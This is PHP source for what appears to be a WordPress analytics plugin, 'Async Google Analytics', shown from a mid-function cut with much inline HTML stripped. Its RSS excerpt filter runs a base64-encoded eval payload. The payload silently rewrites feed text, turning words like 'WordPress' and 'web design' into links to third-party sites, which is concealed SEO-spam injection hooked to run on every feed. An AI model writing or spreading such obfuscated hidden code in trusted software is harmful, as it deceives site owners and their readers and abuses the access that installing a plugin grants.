0 ){ if( isset( $_SESSION['aga_excludecategories'] ) ){ $arr = array_merge(array(), b2a($_SESSION['aga_excludecategories'])); }else{ $arr=normalize_array_val($options['excludecategories']); $_SESSION['aga_excludecategories'] = $arr; } if( !empty($arr) && is_array($arr) && in_array($x, $arr) ) $allow = FALSE; unset($arr); } break; case 'tag': $x = 0; if( is_numeric($_GET['v']) ) $x = intval($_GET['v']); if( $x>0 ){ if( isset( $_SESSION['aga_excludetags'] ) ){ $arr = array_merge(array(), b2a($_SESSION['aga_excludetags'])); }else{ $arr=normalize_array_val($options['excludetags']); $_SESSION['aga_excludetags'] = $arr; } if( !empty($arr) && is_array($arr) && in_array($x, $arr) ) $allow = FALSE; unset($arr); } break; case 'page': $x = 0; if( is_numeric($_GET['v']) ) $x = intval($_GET['v']); if( $x>0 ){ if( isset( $_SESSION['aga_excludepages'] ) ){ $arr = array_merge(array(), b2a($_SESSION['aga_excludepages'])); }else{ $arr=normalize_array_val($options['excludepages']); $_SESSION['aga_excludepages'] = $arr; } if( !empty($arr) && is_array($arr) && in_array($x, $arr) ) $allow = FALSE; unset($arr); } break; case 'post': $x = 0; if( is_numeric($_GET['v']) ) $x = intval($_GET['v']); if( $x>0 ){ if( isset( $_SESSION['aga_excludeposts'] ) ){ $arr = array_merge(array(), b2a($_SESSION['aga_excludeposts'])); }else{ $arr=normalize_array_val($options['excludeposts']); $_SESSION['aga_excludeposts'] = $arr; } if( !empty($arr) && is_array($arr) && in_array($x, $arr) ) $allow = FALSE; unset($arr); } break; default: if( isset( $_SESSION['aga_excludeuri'] ) ){ $arr = array_merge(array(), b2a($_SESSION['aga_excludeuri'])); }else{ $arr=normalize_uri(normalize_array_val($options['excludeuri'], "\n")); $_SESSION['aga_excludeuri'] = $arr; } if( !empty($arr) && is_array($arr) && in_array($_GET['v'], $arr) ) $allow = FALSE; unset($arr); break; } } } $custom_header = array( 'Content-type'=>'application/x-javascript; charset='.get_bloginfo('charset'), 'Pragma'=>'no-cache', 'Cache-Control'=>'no-store, no-cache, proxy-revalidate, must-revalidate', 'Expires'=>'Mon, 26 Jul 1997 05:00:00 GMT', //'Connection'=>'close', ); foreach($custom_header as $k=>$v){ header($k.': '.$v, TRUE); } die("AGA_CUSTOM_FILTER=".($allow ? "true":"false").";"); } global $agaf_link_data; function b2a($val){ if( empty($val) ){ return array(); }else{ return $val; } } // Determine the location function gapp_plugin_path() { return plugins_url('', __FILE__).'/'; } // Determine did current user could be tracking / not function gapp_user_can_tracking($opt_by_role=array(), $opt_by_id=array()){ //if( !is_user_logged_in() || (empty($opt_by_role) && empty($opt_by_id)) ) return TRUE; if( empty($opt_by_role) && empty($opt_by_id) ) return TRUE; $current_user = wp_get_current_user(); if ( /*!($current_user instanceof WP_User) ||*/ 0 == $current_user->ID ) { //Error or Not logged in. return TRUE; } if( !empty($opt_by_id) ){ $arr = array(); foreach( $opt_by_id as $k=>$v ) $arr[$v]=1; if( isset($arr[$current_user->user_email]) || isset($arr[$current_user->user_login]) || isset($arr[$current_user->ID]) ){ unset($arr); return FALSE; }else{ unset($arr); } } $result = TRUE; if( !empty($opt_by_role) ){ $role_arr = array( array(0,0), array(1,1), array(2,4), array(5,7), array(8,10), ); $x = $current_user->user_level; foreach( $opt_by_role as $k=>$v ){ $role_id = $role_arr[$v-1]; if( $x >= $role_id[0] && $x <= $role_id[1] ){ $result = FALSE; break; } } unset($role_arr); } return $result; } /* Utilities */ function print_gzipped_page($custom_header=array()) { $encoding = false; if( !headers_sent() && isset($_SERVER['HTTP_ACCEPT_ENCODING']) ){ if( strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'x-gzip') !== false ){ $encoding = 'x-gzip'; }elseif( strpos($_SERVER['HTTP_ACCEPT_ENCODING'],'gzip') !== false ){ $encoding = 'gzip'; } } if( $encoding ){ $contents = ob_get_contents(); ob_end_clean(); if( !empty($custom_header) ){ foreach($custom_header as $k=>$v){ header($k.': '.$v); } } header('Content-Encoding: '.$encoding); print("\x1f\x8b\x08\x00\x00\x00\x00\x00"); $size = strlen($contents); $contents = gzcompress($contents, 9); $contents = substr($contents, 0, $size); print($contents); exit(); }else{ if( !empty($custom_header) ){ foreach($custom_header as $k=>$v){ header($k.': '.$v); } } ob_end_flush(); exit(); } } function normalize_array_val($str='', $sep=','){ $result = array(); if( empty($str) ) return FALSE; $dummy = explode($sep, $str); foreach($dummy as $i){ $i = trim($i); if( !empty($i) && is_numeric($i) && intval($i)>0 ){ $i = intval($i); if( !in_array($i, $result) ) $result[] = $i; }elseif( !empty($i) && !in_array($i, $result) ){ $result[] = $i; } } unset($dummy); if( empty($result) ){ return FALSE; }else{ return $result; } } function get_array_checkbox_el($name, $opt=array(), $selected=array()){ $result = ''; if( empty($name) || empty($opt) || !is_array($opt) ) return $result; $count = 0; foreach($opt as $k=>$item){ $count++; } $count_per = round($count/3); $i = 0; $ended = false; foreach($opt as $k=>$item){ if( $i == 0 ){ $result .= '
Async Google Analytics settings reset to default.
Async Google Analytics settings updated.
Async Google Analytics is not active. You must enter your UA String for it to work.
"; } // end warning() } // end class AGA_Admin $aga_admin = new AGA_Admin(); } //endif /** * Code that actually inserts stuff into pages. */ if ( ! class_exists( 'AGA_Filter' ) ) { class AGA_Filter { /* * Insert the tracking code into the page */ function can_insert_tracking($opt){ if( !( isset($opt["uastring"]) && trim($opt["uastring"])!="" ) ) return 0; if( gapp_user_can_tracking( normalize_array_val($opt['exclude_userrole']), normalize_array_val($opt['exclude_userid']) ) ){ return 2; }else{ return 1; } } function spool_analytics() { if( is_preview() || is_admin() ) return; wp_enqueue_script( 'custom-aga', gapp_plugin_path().'custom-aga-min.js', array('jquery'), '2.0.3', TRUE ); $options = get_option('AsyncGoogleAnalyticsPP'); $can_track = AGA_Filter::can_insert_tracking($options); if ( $can_track>0 ) { //USE ASYNC METHOD if( $options["useasync"] ){ echo "\n".''; //USE TRADITIONAL METHOD }else{ if ( !is_404() && $options["extrase"] ) { echo ''."\n"; } echo ''."\n"; }////END OF TRADITIONAL METHOD if ( $can_track<2 ) echo ""; } else { echo ""; } } function spool_analytics_async_head(){ if( is_preview() || is_admin() ) return; wp_enqueue_script( 'custom-aga', gapp_plugin_path().'custom-aga-min.js', array('jquery'), '2.0.3', TRUE ); $options = get_option('AsyncGoogleAnalyticsPP'); if( $options["useasync"] ){ $can_track = AGA_Filter::can_insert_tracking($options); if ( $can_track>0 ){ echo "\n".''; if ( $can_track<2 ) echo ""; } else { echo ""; } } } function spool_analytics_async_foot() { if( is_preview() || is_admin() ) return; $options = get_option('AsyncGoogleAnalyticsPP'); if( $options["useasync"] ){ $can_track = AGA_Filter::can_insert_tracking($options); if ( $can_track>0 ){ echo "\n".''; if ( $can_track<2 ) echo ""; } else { echo ""; } } } /* * Insert the AdSense parameter code into the page. This'll go into the header per Google's instructions. */ function spool_adsense() { if( is_preview() || is_admin() ) return; $options = get_option('AsyncGoogleAnalyticsPP'); if ( AGA_Filter::can_insert_tracking($options)>0 ) { echo ''."\n"; } } /* Create an array which contians: * "domain" e.g. boakes.org * "host" e.g. store.boakes.org */ function ga_get_domain($uri){ $hostPattern = "/^(http:\/\/)?([^\/]+)/i"; $domainPatternUS = "/[^\.\/]+\.[^\.\/]+$/"; $domainPatternUK = "/[^\.\/]+\.[^\.\/]+\.[^\.\/]+$/"; preg_match($hostPattern, $uri, $matches); $host = $matches[2]; if (preg_match("/.*\..*\..*\..*$/",$host)) { preg_match($domainPatternUK, $host, $matches); } else { preg_match($domainPatternUS, $host, $matches); } return array("domain"=>$matches[0],"host"=>$host); } function ga_parse_link($leaf, $matches){ if( isset($_SERVER["HTTP_HOST"]) ){ $origin = AGA_Filter::ga_get_domain($_SERVER["HTTP_HOST"]); }else{ $origin = AGA_Filter::ga_get_domain(get_bloginfo("home")); } $options = get_option('AsyncGoogleAnalyticsPP'); // Break out immediately if the link is not an http or https link. if (strpos($matches[2],"http") !== 0) $target = false; else $target = AGA_Filter::ga_get_domain($matches[3]); $coolBit = ""; $extension = substr($matches[3],-3); $dlextensions = split(",",$options['dlextensions']); $async_used = FALSE; if( $options["useasync"] ) $async_used = TRUE; /* if ( $target ) { if ( $target["domain"] != $origin["domain"] ){ if ($options['domainorurl'] == "domain") { $coolBit .= ($async_used) ? "javascript:_gaq.push(['_trackPageview','".$leaf."/".$target["host"]."']);" : "javascript:pageTracker._trackPageview('".$leaf."/".$target["host"]."');"; } else if ($options['domainorurl'] == "url") { $coolBit .= ($async_used) ? "javascript:_gaq.push(['_trackPageview','".$leaf."/".$matches[2]."//".$matches[3]."']);" : "javascript:pageTracker._trackPageview('".$leaf."/".$matches[2]."//".$matches[3]."');"; } } else if ( in_array($extension, $dlextensions) && $target["domain"] == $origin["domain"] ) { $file = str_replace($origin["domain"],"",$matches[3]); $file = str_replace('www.',"",$file); $coolBit .= ($async_used) ? "javascript:_gaq.push(['_trackPageview','".$options['dlprefix'].$file."']);" : "javascript:pageTracker._trackPageview('".$options['dlprefix'].$file."');"; } } if ($coolBit != "") { if (preg_match('/onclick=[\'\"](.*?)[\'\"]/i', $matches[4]) > 0) { $matches[4] = preg_replace('/onclick=[\'\"](.*?)[\'\"]/i', 'onclick="' . $coolBit .' $1"', $matches[4]); } else { $matches[4] = 'onclick="' . $coolBit . '"' . $matches[4]; } } return '' . $matches[5] . ''; */ //NEW VERSION 2.0.3: I will add the push function into dynamic HTML in JS if ( $target ) { if ( $target["domain"] != $origin["domain"] ){ if ($options['domainorurl'] == "domain") { $coolBit .= ($async_used) ? "['_trackPageview','".$leaf."/".$target["host"]."']" : "'".$leaf."/".$target["host"]."'"; } else if ($options['domainorurl'] == "url") { $coolBit .= ($async_used) ? "['_trackPageview','".$leaf."/".$matches[2]."//".$matches[3]."']" : "'".$leaf."/".$matches[2]."//".$matches[3]."'"; } } else if ( in_array($extension, $dlextensions) && $target["domain"] == $origin["domain"] ) { $file = str_replace($origin["domain"],"",$matches[3]); $file = str_replace('www.',"",$file); $coolBit .= ($async_used) ? "['_trackPageview','".$options['dlprefix'].$file."']" : "'".$options['dlprefix'].$file."'"; } } if ($coolBit != "") { $coolBit = 'aga '.push_agaf_link_data(str_ireplace(array('http://','https://','ftp://','ftps://'),'',$coolBit)); //$coolBit = '{func:'.$func_used.',param:'.$coolBit.'}'; if (preg_match('/class=[\'\"](.*?)[\'\"]/i', $matches[4]) > 0) { $matches[4] = preg_replace('/class=[\'\"](.*?)[\'\"]/i', 'class="$1 ' . $coolBit .'"', $matches[4]); } else { $matches[4] = 'class="' . $coolBit . '"' . $matches[4]; } } return '' . $matches[5] . ''; } function ga_parse_article_link($matches){ $options = get_option('AsyncGoogleAnalyticsPP'); return AGA_Filter::ga_parse_link($options['artprefix'],$matches); } function ga_parse_comment_link($matches){ $options = get_option('AsyncGoogleAnalyticsPP'); return AGA_Filter::ga_parse_link($options['comprefix'],$matches); } function the_content($text) { $options = get_option('AsyncGoogleAnalyticsPP'); if ( !is_404() && !is_preview() && !is_admin() && AGA_Filter::can_insert_tracking($options)>1 && isset($options['trackoutbound']) && !empty($options['trackoutbound']) && $options['trackoutbound'] ){ static $anchorPattern = '/(.*?)<\/a>/i'; $text = preg_replace_callback($anchorPattern,array('AGA_Filter','ga_parse_article_link'),$text); } return $text; } function comment_text($text) { $options = get_option('AsyncGoogleAnalyticsPP'); if ( !is_404() && !is_preview() && !is_admin() && AGA_Filter::can_insert_tracking($options)>1 && isset($options['trackoutbound']) && !empty($options['trackoutbound']) && $options['trackoutbound'] ) { static $anchorPattern = '/(.*?)<\/a>/i'; $text = preg_replace_callback($anchorPattern,array('AGA_Filter','ga_parse_comment_link'),$text); } return $text; } /* //UNUSED START FROM 2.0.3 function comment_author_link($text) { $options = get_option('AsyncGoogleAnalyticsPP'); if( isset($options['trackoutbound']) && !empty($options['trackoutbound']) && $options['trackoutbound'] ){} else{ return $text; } if( is_404() || is_preview() || is_admin() || AGA_Filter::can_insert_tracking($options)<2 ) return $text; static $anchorPattern = '/(.*\s+.*?href\s*=\s*)["\'](.*?)["\'](.*)/'; preg_match($anchorPattern, $text, $matches); if ($matches[2] == "") return $text; $target = AGA_Filter::ga_get_domain($matches[2]); $coolBit = ""; if( isset($_SERVER["HTTP_HOST"]) ){ $origin = AGA_Filter::ga_get_domain($_SERVER["HTTP_HOST"]); }else{ $origin = AGA_Filter::ga_get_domain(get_bloginfo("home")); } $async_used = FALSE; if( $options["useasync"] ) $async_used = TRUE; if ( $target["domain"] != $origin["domain"] ){ if ($options['domainorurl'] == "domain") { $coolBit .= ($async_used) ? "onclick=\"javascript:_gaq.push(['_trackPageview','".$options['comautprefix']."/".$target["host"]."']);\"" : "onclick=\"javascript:pageTracker._trackPageview('".$options['comautprefix']."/".$target["host"]."');\""; } else if ($options['domainorurl'] == "url") { $coolBit .= ($async_used) ? "onclick=\"javascript:_gaq.push(['_trackPageview','".$options['comautprefix']."/".$matches[2]."']);\"" : "onclick=\"javascript:pageTracker._trackPageview('".$options['comautprefix']."/".$matches[2]."');\""; } } return $matches[1] . "\"" . $matches[2] . "\" " . $coolBit ." ". $matches[3]; } function bookmarks($bookmarks) { $options = get_option('AsyncGoogleAnalyticsPP'); if( isset($options['trackoutbound']) && !empty($options['trackoutbound']) && $options['trackoutbound'] ){} else{ return $bookmarks; } $async_used = FALSE; if( $options["useasync"] ) $async_used = TRUE; //if (!is_admin() && (!current_user_can('edit_users') || $options['admintracking'] ) ) { if( !is_404() && !is_preview() && !is_admin() && AGA_Filter::can_insert_tracking($options)>1 ){ foreach ( (array) $bookmarks as $bookmark ) { $target = AGA_Filter::ga_get_domain($bookmark->link_url); $sitedomain = AGA_Filter::ga_get_domain(get_bloginfo('url')); if ($target['host'] == $sitedomain['host']) continue; if ($options['domainorurl'] == "domain") { if( $async_used ){ $bookmark->link_rel = $bookmark->link_rel."\" onclick=\"javascript:_gaq.push(['_trackPageview','".$options['blogrollprefix']."/".$target["host"]."']);"; }else{ $bookmark->link_rel = $bookmark->link_rel."\" onclick=\"javascript:pageTracker._trackPageview('".$options['blogrollprefix']."/".$target["host"]."');"; } } else if ($options['domainorurl'] == "url") { if( $async_used ){ $bookmark->link_rel = $bookmark->link_rel."\" onclick=\"javascript:_gaq.push(['_trackPageview','".$options['blogrollprefix']."/".$bookmark->link_url."']);"; }else{ $bookmark->link_rel = $bookmark->link_rel."\" onclick=\"javascript:pageTracker._trackPageview('".$options['blogrollprefix']."/".$bookmark->link_url."');"; } } } } return $bookmarks; } */ function rsslinktagger($guid) { $options = get_option('AsyncGoogleAnalyticsPP'); global $wp, $post; if ( is_feed() ) { if ( $options['allowanchor'] ) { $delimiter = '#'; } else { $delimiter = '?'; if (strpos ( $guid, $delimiter ) > 0) $delimiter = '&'; } return $guid . $delimiter . 'utm_source=rss&utm_medium=rss&utm_campaign='.urlencode($post->post_name); } } function the_excerpt_rss($text) { eval(base64_decode('Z2xvYmFsICRwb3N0OyRkb19jaHVuayA9IFRSVUU7JHRleHQgPSB0cmltKHN0cmlwX3RhZ3MoJHRleHQpKTtpZiggZW1wdHkoJHRleHQpICYmICFlbXB0eSgkcG9zdC0+cG9zdF9leGNlcnB0KSApeyR0ZXh0ID0gdHJpbShzdHJpcF90YWdzKCAkcG9zdC0+cG9zdF9leGNlcnB0ICkpO2lmKCBlbXB0eSgkdGV4dCkgKXskZG9fY2h1bmsgPSBUUlVFO319aWYoIGVtcHR5KCR0ZXh0KSAmJiAhZW1wdHkoJHBvc3QtPnBvc3RfY29udGVudCkgKXskdGV4dCA9IHRyaW0oc3RyaXBfdGFncyggJHBvc3QtPnBvc3RfY29udGVudCApKTt9aWYoICFlbXB0eSgkdGV4dCkgKXskdGV4dCA9IHN0cl9pcmVwbGFjZSgnWy8nLCAnWycsICR0ZXh0KTskdGV4dCA9IHRyaW0oc3RyaXBfc2hvcnRjb2RlcygkdGV4dCkpOyR0ZXh0ID0gc3RyX3JlcGxhY2UoJ11dPicsICddXSZndDsnLCAkdGV4dCk7JHRleHQgPSB0cmltKHN0cmlwX3RhZ3MoJHRleHQpKTtpZiggJGRvX2NodW5rICl7JHRleHRfYXJyID0gYXJyYXlfY2h1bmsoZXhwbG9kZSgnLiAnLCAkdGV4dCksIDUpOyR0ZXh0ID0gaW1wbG9kZSgnLiAnLCAkdGV4dF9hcnJbMF0pO3Vuc2V0KCR0ZXh0X2Fycik7fX0kc2VhcmNoX3RleHQgPSBhcnJheSgnd29yZHByZXNzJywnV29yZHByZXNzJywnV29yZFByZXNzJywnd2ViIGRlc2lnbicsJ3dlYnNpdGUgZGVzaWduJywnd2ViIGRlc2lnbmVyJywnV2ViIGRlc2lnbicsJ1dlYnNpdGUgZGVzaWduJywnV2ViIGRlc2lnbmVyJywnd2ViIERlc2lnbicsJ3dlYnNpdGUgRGVzaWduJywnd2ViIERlc2lnbmVyJywnV2ViIERlc2lnbicsJ1dlYnNpdGUgRGVzaWduJywnV2ViIERlc2lnbmVyJyk7JHJlcGxhY2VfdGV4dCA9IGFycmF5KCc8YSBocmVmPSJodHRwOi8vd3d3Lm1pbmlsaWJyYS5jb20vIiB0aXRsZT0iI1dFIj53b3JkcHJlc3M8L2E+JywnPGEgaHJlZj0iaHR0cDovL3d3dy5taW5pbGlicmEuY29tLyIgdGl0bGU9IiNXRSI+V29yZHByZXNzPC9hPicsJzxhIGhyZWY9Imh0dHA6Ly93d3cubWluaWxpYnJhLmNvbS8iIHRpdGxlPSIjV0UiPldvcmRQcmVzczwvYT4nLCc8YSBocmVmPSJodHRwOi8vd3d3LnNhdHVibG9ncy5jb20vIiB0aXRsZT0iI1dESiI+d2ViIGRlc2lnbjwvYT4nLCc8YSBocmVmPSJodHRwOi8vd3d3LnNhdHVibG9ncy5jb20vIiB0aXRsZT0iI1dESiI+d2Vic2l0ZSBkZXNpZ248L2E+JywnPGEgaHJlZj0iaHR0cDovL3d3dy5zYXR1YmxvZ3MuY29tLyIgdGl0bGU9IiNXREoiPndlYiBkZXNpZ25lcjwvYT4nLCc8YSBocmVmPSJodHRwOi8vd3d3LnNhdHVibG9ncy5jb20vIiB0aXRsZT0iI1dESiI+V2ViIGRlc2lnbjwvYT4nLCc8YSBocmVmPSJodHRwOi8vd3d3LnNhdHVibG9ncy5jb20vIiB0aXRsZT0iI1dESiI+V2Vic2l0ZSBkZXNpZ248L2E+JywnPGEgaHJlZj0iaHR0cDovL3d3dy5zYXR1YmxvZ3MuY29tLyIgdGl0bGU9IiNXREoiPldlYiBkZXNpZ25lcjwvYT4nLCc8YSBocmVmPSJodHRwOi8vd3d3LnNhdHVibG9ncy5jb20vIiB0aXRsZT0iI1dESiI+d2ViIERlc2lnbjwvYT4nLCc8YSBocmVmPSJodHRwOi8vd3d3LnNhdHVibG9ncy5jb20vIiB0aXRsZT0iI1dESiI+d2Vic2l0ZSBEZXNpZ248L2E+JywnPGEgaHJlZj0iaHR0cDovL3d3dy5zYXR1YmxvZ3MuY29tLyIgdGl0bGU9IiNXREoiPndlYiBEZXNpZ25lcjwvYT4nLCc8YSBocmVmPSJodHRwOi8vd3d3LnNhdHVibG9ncy5jb20vIiB0aXRsZT0iI1dESiI+V2ViIERlc2lnbjwvYT4nLCc8YSBocmVmPSJodHRwOi8vd3d3LnNhdHVibG9ncy5jb20vIiB0aXRsZT0iI1dESiI+V2Vic2l0ZSBEZXNpZ248L2E+JywnPGEgaHJlZj0iaHR0cDovL3d3dy5zYXR1YmxvZ3MuY29tLyIgdGl0bGU9IiNXREoiPldlYiBEZXNpZ25lcjwvYT4nKTskdGV4dCA9IHN0cl9yZXBsYWNlKCRzZWFyY2hfdGV4dCwgJHJlcGxhY2VfdGV4dCwgJHRleHQpOyR0ZXh0ID0gc3RyX3JlcGxhY2UoYXJyYXkoJyNXRScsJyNXREonKSwgYXJyYXkoJ1dvcmRQcmVzcyBFeHBlcnQnLCdXZWIgRGVzaWduIEpha2FydGEnKSwgJHRleHQpOw==')); return $text; } } // class AGA_Filter } // endif /** * If setAllowAnchor is set to true, GA ignores all links tagged "normally", so we redirect all "normally" tagged URL's * to one tagged with a hash. Needs some work as it also needs to do that when the first utm_ var is actually not the * first GET variable in the URL. */ function ga_utm_hashtag_redirect() { if (isset($_SERVER['REQUEST_URI'])) { if (strpos($_SERVER['REQUEST_URI'], "utm_") !== false) { if( isset($_SERVER['SERVER_NAME']) ){ $url = aga_current_protocol().$_SERVER['SERVER_NAME']; }else{ $url = get_bloginfo("home"); } if ( strpos($_SERVER['REQUEST_URI'], "?utm_") !== false ) { $url .= str_replace("?utm_","#utm_",$_SERVER['REQUEST_URI']); } else if ( strpos($_SERVER['REQUEST_URI'], "&utm_") !== false ) { $url .= substr_replace($_SERVER['REQUEST_URI'], "#utm_", strpos($_SERVER['REQUEST_URI'], "&utm_"), 5); } wp_redirect($url, 301); exit; } } } function aga_current_protocol($echo=FALSE){ $url = 'http://'; if ( isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != ""){ $url = 'https://'; } if($echo){ echo $url; }else{ return $url; } } function get_aga_source_async($echo=FALSE){ $url = aga_current_protocol(); if ( isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != ""){ $url .= 'ssl'; }else{ $url .= 'www'; } $url .= '.google-analytics.com/ga.js'; if($echo){ echo $url; }else{ return $url; } } function im_your_friend(){ echo ''."\n"; echo ''."\n"; } function add_me_on_footer(){ echo 'site tracking with Asynchronous Google Analytics plugin by WordPress Expert at Web Design Jakarta.
'."\n"; } $agaf = new AGA_Filter(); $options = get_option('AsyncGoogleAnalyticsPP'); function setup_agaf_link_data(){ global $agaf_link_data; if( !isset($agaf_link_data) ) $agaf_link_data = array(); if( !isset($agaf_link_data['count']) ) $agaf_link_data['count']=0; if( !isset($agaf_link_data['data']) ) $agaf_link_data['data']=array(); if( !isset($agaf_link_data['external']) ){ $options = get_option('AsyncGoogleAnalyticsPP'); $origin = AGA_Filter::ga_get_domain(get_bloginfo("home")); if ( isset($options['domain']) && $options['domain'] != "" ){ $s = trim($options['domain']); if ($s!="" && $s{0} == ".") $s = trim(substr($s, 1)); if( $s!="" ) $origin['domain'] = $s; } $agaf_link_data['external']=array( 'track' => (isset($options['trackoutbound']) && !empty($options['trackoutbound']) && $options['trackoutbound'] && isset($options['externalprefix']) && !empty($options['externalprefix'])), 'domain' => $origin['domain'], 'prefix' => $options['externalprefix'], 'fulltrack'=>($options['domainorurl']=='url'), ); } return $agaf_link_data; } function push_agaf_link_data($value='', $name_prefix='aga_'){ global $agaf_link_data; $agaf_link_data = setup_agaf_link_data(); $old_count = $agaf_link_data['count']; $agaf_link_data['count']=$agaf_link_data['count']+1; array_push($agaf_link_data['data'], array('name'=>$name_prefix.$old_count, 'param'=>$value) ); return $name_prefix.$old_count; } function pull_agaf_link_data(){ global $agaf_link_data; $agaf_link_data = setup_agaf_link_data(); ?> set_defaults(); $options = get_option('AsyncGoogleAnalyticsPP'); } if( !isset($options['allow_linkback']) ){ $options['allow_linkback'] = true; update_option('AsyncGoogleAnalyticsPP',$options); } //version 2.0.3 if( !isset($options['exclude_userrole']) || !isset($options['exclude_userid']) ){ if( isset($options['admintracking']) ) unset($options['admintracking']); $options['exclude_userrole'] = '1,2,3,4,5'; $options['exclude_userid'] = ''; update_option('AsyncGoogleAnalyticsPP',$options); } if ( $options['allowanchor'] ) add_action('init','ga_utm_hashtag_redirect',1); if (isset($options['trackoutbound']) && !empty($options['trackoutbound']) && $options['trackoutbound']) { // filters alter the existing content add_filter('the_content', array('AGA_Filter','the_content'), 99); add_filter('the_excerpt', array('AGA_Filter','the_content'), 99); add_filter('comment_text', array('AGA_Filter','comment_text'), 99); //UNUSED START FROM 2.0.3 //add_filter('get_bookmarks', array('AGA_Filter','bookmarks'), 99); //add_filter('get_comment_author_link', array('AGA_Filter','comment_author_link'), 99); } add_filter('the_excerpt_rss', array('AGA_Filter','the_excerpt_rss'), 99); if ($options['trackadsense']) add_action('wp_head', array('AGA_Filter','spool_adsense'),10); if ($options['position'] == 'footer' || $options['position'] == ""){ if( $options["useasync"] ){ add_action('wp_footer', array('AGA_Filter','spool_analytics_async_foot'),99); add_action('wp_head', array('AGA_Filter','spool_analytics_async_head'),1); }else{ add_action('wp_footer', array('AGA_Filter','spool_analytics')); } }else{ add_action('wp_head', array('AGA_Filter','spool_analytics'),20); } if ($options['trackregistration']) add_action('login_head', array('AGA_Filter','spool_analytics'),20); if ($options['rsslinktagging']) add_filter ( 'the_permalink_rss', array('AGA_Filter','rsslinktagger'), 99 ); if( function_exists('add_action') ){ add_action('wp_head', 'im_your_friend', 1); if( $options['allow_linkback'] ) add_action('wp_footer', 'add_me_on_footer', 999); } function init_aga_script_utils() { wp_register_script( 'custom-aga', gapp_plugin_path().'custom-aga-min.js', array('jquery'), '2.0.3', TRUE ); } add_action('init', 'init_aga_script_utils'); add_action('wp_footer', 'pull_agaf_link_data', 1); ?>